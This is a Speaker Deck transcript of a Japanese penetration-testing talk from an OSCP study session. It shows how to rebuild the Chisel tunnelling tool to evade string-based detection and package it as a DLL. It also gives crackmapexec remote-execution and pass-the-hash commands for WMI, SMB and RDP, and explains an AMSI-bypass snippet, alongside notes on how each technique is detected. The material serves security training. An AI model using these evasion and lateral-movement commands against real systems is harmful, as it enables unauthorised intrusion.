Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
ペンテストに関するTIPS
Search
Ruslan Sayfiev
August 28, 2023
Technology
2
2k
ペンテストに関するTIPS
主にペネトレーションテストやRed Team業務を対象として、Golangで開発されたツール編集のやり方やリモート操作用サービスの違い紹介の資料です。
Ruslan Sayfiev
August 28, 2023
Tweet
Share
More Decks by Ruslan Sayfiev
See All by Ruslan Sayfiev
Active Directory攻防
cryptopeg
10
8.3k
Other Decks in Technology
See All in Technology
自己的售票系統自己做!
eddie
0
460
今、MySQLのバックアップを作り直すとしたら何がどう良いのかを考える旅
yoku0825
2
390
⽣成 AI で進化する AWS オブザーバビリティ
o11yfes2023
0
130
LINEヤフー バックエンド組織・体制の紹介
lycorptech_jp
PRO
0
680
ソフトウェア開発現代史: 55%が変化に備えていない現実 ─ AI支援型開発時代のReboot Japan #agilejapan
takabow
7
4.2k
アジャイル社内普及ご近所さんマップを作ろう / Let's create an agile neighborhood map
psj59129
1
130
LINEスキマニ/LINEバイトにおけるバックエンド開発
lycorptech_jp
PRO
0
170
大規模プロダクトで実践するAI活用の仕組みづくり
k1tikurisu
4
1.2k
AI × クラウドで シイタケの収穫時期を判定してみた
lamaglama39
0
290
AIと共に開発する時代の組織、プロセス設計 freeeでの実践から見えてきたこと
freee
4
710
『HOWはWHY WHATで判断せよ』 〜『ドメイン駆動設計をはじめよう』の読了報告と、本質への探求〜
panda728
PRO
5
1.9k
Amazon ECS デプロイツール ecspresso の開発を支える「正しい抽象化」の探求 / YAPC::Fukuoka 2025
fujiwara3
13
3.4k
Featured
See All Featured
Refactoring Trust on Your Teams (GOTO; Chicago 2020)
rmw
35
3.2k
Designing Experiences People Love
moore
142
24k
I Don’t Have Time: Getting Over the Fear to Launch Your Podcast
jcasabona
34
2.5k
実際に使うSQLの書き方 徹底解説 / pgcon21j-tutorial
soudai
PRO
192
56k
It's Worth the Effort
3n
187
28k
Making Projects Easy
brettharned
120
6.5k
Documentation Writing (for coders)
carmenintech
76
5.1k
GraphQLとの向き合い方2022年版
quramy
49
14k
Mobile First: as difficult as doing things right
swwweet
225
10k
Designing for humans not robots
tammielis
254
26k
CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again
sstephenson
162
15k
How To Stay Up To Date on Web Technology
chriscoyier
791
250k
Transcript
ペンテストに関するTIPS Ruslan Sayfiev Mizuno Sarii OSCP勉強会 2023年8月26日
WHOAMI Ruslan Sayfiev(ルスラン) • Red Team/PTリーダー@ GMO サイバーセキュリティ by イエラエ
• 主な知見:Web・NW診断、Cloud/OSINT/Pentest/RedTeam、車系の診断など • 資格(思ったより多い):OSWP, OSCP, OSEP, OSCE, OSEE, GXPN, CRTO, CRTL, CRTE, CARTP • HackTheBox(やりたいほどできてきていないが):Guru 水野沙理衣 • 新卒1年目@ GMO サイバーセキュリティ by イエラエ • 9月よりWebアプリーケーション脆弱性診断課 • PT勉強中 • SECCON実行委員、CTF for Girls運営(WEB分野講師など) • HackTheBox:Hacker
目次 • カスタムなChiselの作り方 • Windows環境にリモート操作用プロトコル(概要・検知) • WMI • SMB(PSExec、 SMBExec)
• WinRM • RDP
※既存Golangアプリのカスタマイズやコンパイル カスタムなCHISELの作り方
CHISELとは • WebSocketを使用したTCPトンネリングツール(トンネル内はSSHで暗号化される) • Go言語で作成 • 「https://github.com/jpillora/chisel」にて入手可能
カスタマイズなんているの? いくつかの理由の例: • 不足している機能の追加開発(例:Kerberos認証) • 他のツールへの組み込みなど
1) GOLANG開発環境の準備 • 該当プラットホーム元に正式サイトからArchive形のGolangをダウンロード・展開 • 展開したフォルダーにアクセスし、任意のフォルダーを作成する(例:_SRC) • 環境変数をエクスポートする(外部から実行する際、フルパスで指定) • Mac・Linux
export GOPATH=go_custom/_SRC export GOROOT=go_custom export GO111MODULE=off • Win set GOPATH=C:\go_win_custom\_SRC set GOROOT=C:\go_win_custom set GO111MODULE=off
MAC WIN https://go.dev/dl/
• Githubから最新版のArchive方式のChiselをダウンロードする • 「_SRC」フォルダー内に(例:chisel_custom)フォルダーを作って,「main.go」 ファイルだけを入れておく • 「chisel_custom」フォルダーに「cd」する 2) CHISELと必要なライブラリの準備
• そのまま「build」しようとすると、必要なライブラリがないというエラーが発生する • 以下の方法によって必要なライブラリの導入が可能 ※「main.go」ファイルのあるフォルダーから実行! • go get -v -d
./... または • go get github.com/jpillora/chisel
3) CHISELのビルド・カスタマイズ • 現時点で基本的にビルドができるようなりました • go build main.go (別OS/ARCHの場合、GOOS/GOARCHの設定が必要)
• このままのビルドだと、公開リリースビルドとほぼ差がなく、同様に検知され ることになります • 簡単にStringsツールをかけて、Chiselの文字列で確認しましょう • 中身を確認すると、外部ライブラリのインポート名に見える
• 「main.go」ファイルを確認すると、「github.com/jpillora/chisel/…」がインポー トされていることがわかります
• まず、以下の編集を行いましょう 「github.com/jpillora/chisel」 → 「custom_lib」
• コンパイルすると、エラー! • インポートされるライブラリ名が変わったため、ソースフォルダーも以下のよ うに編集する必要があります 「_SRC/src/github.com/jpillora/chisel」 → 「_SRC/src/custom_lib」 ※フォルダー内に「client、server、share」のみのフォルダーを残して大丈夫
• 今度コンパイルし直して、「chisel」で検索すると、23回だけ引っかかることが わかります。おそらく、Helpなどに含まれている文字列が残っているかと推 測できます。 • 実際に中身を確認して、全ての「chisel」文字列を編集しましょう 「chisel」 → 「OSCPStudy」
• 改めてビルドして検索してみると、1個だけが出てくることを確認する。それ は、ビルドパスがバイナリ内に含まれるためで、以下の追加フラグによって パスやシンボルデータなどの削除が可能です。 go build -ldflags="-s -w -extldflags=-static" -trimpath
main.go
• ビルドするバイナリをEXEからDLLにする必要がある場合、以下のように関数を追加して、エクス ポートすることで可能です。 GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -
buildmode=c-shared -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.dll main.go
• 「Dumpbin」ツールによって、「OffSecRun」関数がエクスポートされていることが 確認できます。例:「rundll32 chisel.dll,OffSecRun」のコマンドによって実行が可 能です。
各種OSやアーキテクチャのコンパイル例(Mac環境) Linux ・ GOOS=linux GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static"
-trimpath -o chisel_arm64.elf main.go ・ GOOS=linux GOARCH=386 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.elf main.go ・ GOOS=linux GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.elf main.go Windows #EXE ・ GOOS=windows GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_arm.exe main.go ・ GOOS=windows GOARCH=386 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.exe main.go ・ GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.exe main.go #DLL (MinGWが必要) ・ GOOS=windows GOARCH=386 CGO_ENABLED=1 CC=i686-w64-mingw32-gcc go build -buildmode=c-shared - ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.dll main.go ・ GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared - ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.dll main.go MacOS ・ GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_ARM main.go ・ GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64 main.go
WINDOWS環境にリモート操作用プロトコル (概要・検知)
WMI (WINDOWS MANAGEMENT INSTRUMENTATION) • smb 10.11.14.54 → SMBプロトコルを用いて、指定されたIPアドレス(10.11.14.54)のマシンに接続 •
-u Administrator -p ‘P@ssw0rd‘ → 接続する際にAdministratorというユーザー名とP@ssw0rdというパスワードを使用 • --exec-method wmiexec → コマンド実行のメソッドとしてwmiexecを使用 • -x 'timeout 10' →リモートマシン上でtimeout 10というコマンドを実行。(何もしないで10秒間待つ) WMIの親子プロセス関係
• --no-output → 実行結果を出力しない WMIの親子プロセス関係
• strace → システムコールとシグナルを追跡するプログラム • -f → フォークした子プロセスも追跡 • -e
trace=network →ネットワークに関連するシステムコールだけを追跡 • 2>&1 → 標準エラー出力(stderr)を標準出力(stdout)にリダイレクト • grep 'connect(‘ → 出力の中からconnect(という文字列を含む行だけを抽出 WMIは135ポート+50000+系のポートを使用する ※上記では445ポートも使用されているが、使わなくすることも可能 使用されるポート
SMB(PSEXEC) 手元の端末で実行 PSExecの親子プロセス関係 対象端末にPSEXECSVCサービスが作成
SMB(SMBEXEC) • smb 10.11.14.54 → SMBプロトコルを用いて、指定されたIPアドレス(10.11.14.54)のマシンに接続 • -u Administrator -p
‘P@ssw0rd‘ → 接続する際にAdministratorというユーザー名とP@ssw0rdというパスワードを使用 • --exec-method smbexec → コマンド実行のメソッドとしてsmbexecを使用 • -x 'timeout 10' →リモートマシン上でtimeout 10というコマンドを実行。(何もしないで10秒間待つ)
• --no-output → 実行結果を出力しない
SMBExec/PSExec系は445ポートを使用する 使用されるポート
WINRM(WINDOWS REMOTE MANAGEMENT) WinRMで接続(Invoke-Mimikatzを入力するだけでAMSI機能にセッションが殺される) WinRMの親子プロセス関係
[Ref].Assembly.GetType(...) → .NETアセンブリから特定の型を取得 'Sy’ …;$result) → System.Management.Automation.AmsiUtilsの難読化 .GetField(..., 'NonPublic,Static') →
この型に存在する特定の非公開静的フィールドを取得 .SetValue($null, $true) → この非公開静的フィールドの値をtrueに設定 内部に実装されているモジュールによる回避は失敗する
WinRMは5985ポートを使用する ※SSLの場合、5986ポートが使用される 使用されるポート
RDP(REMOTE DESKTOP PROTOCOL) 一般的には認証情報が手元にあり、入力して入るだけ(MFAなしの場合)ですが、場合によって、 NTLMハッシュのみが手元にある場合はどうすれば?
DisableRestrictedAdminキーを登録する方法: crackmapexec smb 10.11.14.54 -u Administrator -H e19ccf75ee54e06b06a5907af13cef42 -x 'reg
add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f' DisableRestrictedAdminを0に設定することで、 「リモート 資格情報ガード」機能の「制限付き管理 モード」が有効化される DisableRestrictedAdminキーを削除する方法: crackmapexec smb 10.11.14.54 -u Administrator -H e19ccf75ee54e06b06a5907af13cef42 -x 'reg delete HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /f'
RDPは3389ポートを使用する 使用されるポート
サマリー • ChiselなどのGolangプログラムを含めてカスタマイズしましょう! • リモート操作用プロトコルをしっかり理解して、状況に応じて適切に使いま しょう!
QUESTIONS? • Twitter: https://twitter.com/cryptopeg https://twitter.com/r1154n